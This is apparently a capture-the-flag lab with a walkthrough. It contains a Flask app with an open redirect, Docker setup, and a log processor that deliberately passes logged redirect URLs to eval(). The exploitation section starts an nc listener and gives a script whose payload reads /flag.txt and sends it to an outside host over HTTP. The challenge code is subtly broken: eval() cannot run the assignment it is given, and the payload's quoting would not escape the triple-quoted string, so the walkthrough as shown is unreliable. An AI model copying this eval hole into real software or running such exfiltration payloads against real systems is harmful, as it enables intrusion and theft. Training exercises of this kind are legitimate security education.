CTF File
## app.py
"""
from flask import Flask, request, redirect, url_for, send_from_directory
import logging
import os
app = Flask(__name__)
# Setup logging
logging.basicConfig(
filename='/var/log/webapp/access.log',
level=logging.INFO,
format='%(asctime)s - %(message)s'
)
def is_authenticated_user():
# This function checks if the user is authenticated
# For simplicity, always return True
return True
@app.route('/')
def home():
if not is_authenticated_user():
logging.info('Unauthorized access attempt.')
return redirect(url_for('login'))
redirect_url = request.args.get('redirect_url')
if redirect_url:
logging.info(f'Redirecting to: {redirect_url}')
return redirect(redirect_url)
return 'Welcome to the Vulnerable Web App! Try to find and read the flag.txt file.'
@app.route('/login')
def login():
# Simulated login page
return 'Login Page - User authentication goes here.'
@app.route('/static/<path:filename>')
def static_files(filename):
return send_from_directory('/app/static', filename)
if __name__ == '__main__':
os.makedirs('/var/log/webapp', exist_ok=True)
app.run(host='0.0.0.0', port=5000, debug=False)
"""
# Dockerfile
"""
FROM python:3.9-slim
WORKDIR /app
COPY app.py /app/
COPY static/ /app/static/
RUN pip install flask
RUN mkdir -p /var/log/webapp && chmod 777 /var/log/webapp
RUN echo "FLAG{fake_flag}" > /flag.txt && chmod 400 /flag.txt
# Create a user to run the application
RUN useradd -m webapp
USER webapp
CMD ["python", "app.py"]
"""
# log_processor.py
"""
#!/usr/bin/env python3
import os
import time
import re
LOG_FILE = '/var/log/webapp/access.log'
def process_logs():
print("[+] Starting log processor...")
while True:
if os.path.exists(LOG_FILE):
with open(LOG_FILE, 'r') as f:
logs = f.readlines()
for log in logs:
# Look for redirect URLs in logs
redirect_match = re.search(r'Redirecting to: (.*)', log)
if redirect_match:
redirect_url = redirect_match.group(1)
print(f"[+] Processing redirect URL: {redirect_url}")
# THIS IS THE VULNERABLE PART
# It evaluates the logged redirect URL as Python code
try:
# Simulate evaluating the log content in certain contexts
# This is intentionally vulnerable!
eval(f"url = '''{redirect_url}'''")
except Exception as e:
print(f"[-] Error processing log: {e}")
# Clear the log file after processing
open(LOG_FILE, 'w').close()
# Sleep for a while before checking again
time.sleep(5)
if __name__ == "__main__":
process_logs()
"""
# init.sh -
"""
#!/bin/bash
echo "[+] Starting CTF challenge: Open Redirect and Log Poisoning"
# Create log directory if it doesn't exist
mkdir -p /var/log/webapp
chmod 777 /var/log/webapp
# Start the log processor in the background
python /app/log_processor.py &
# Start the web application
python /app/app.py
"""
# docker-compose.yml
"""
version: '3'
services:
webapp:
build: .
container_name: vuln-webapp
ports:
- "5000:5000"
volumes:
- ./logs:/var/log/webapp
command: /app/init.sh
restart: unless-stopped
environment:
- PYTHONUNBUFFERED=1
volumes:
logs:
"""
# static/index.html
"""
<!DOCTYPE html>
<html>
<head>
<title>Vulnerable Web App</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 800px;
margin: 0 auto;
padding: 20px;
}
h1 {
color: #333;
}
.hint {
background-color: #f5f5f5;
padding: 10px;
border-left: 5px solid #ccc;
}
</style>
</head>
<body>
<h1>Vulnerable Web Application Challenge</h1>
<p>This web application contains vulnerabilities that allow you to read the flag.txt file.</p>
<div class="hint">
<h3>Hint 1:</h3>
<p>The application doesn't validate redirect URLs.</p>
<h3>Hint 2:</h3>
<p>Check how the application logs information about redirects.</p>
<h3>Hint 3:</h3>
<p>There might be something processing those logs...</p>
</div>
</body>
</html>
"""
chmod +x init.sh
docker-compose up --build
Exploitation
Set up the Listener since we need to send the flag to our server, or we can use a webhook.
nc -lvp 8000
// exploit.py
import requests
import urllib.parse
# Target URL
target_url = "http://localhost:5000"
payload = """whyme.me
"
import os,requests
flag=open('/flag.txt').read()
requests.get('http://your-ip:8000/?flag='+flag)
"
"""
# URL encode the payload
encoded_payload = urllib.parse.quote_plus(payload)
# Build the full exploit URL
exploit_url = f"{target_url}/?redirect_url={encoded_payload}"
# Send the request
try:
response = requests.get(exploit_url, allow_redirects=False)
print(f"[+] Request sent, status code: {response.status_code}")
print(f"[+] Check Listener")
except Exception as e:
print(f"[-] Error: {e}")
Last updated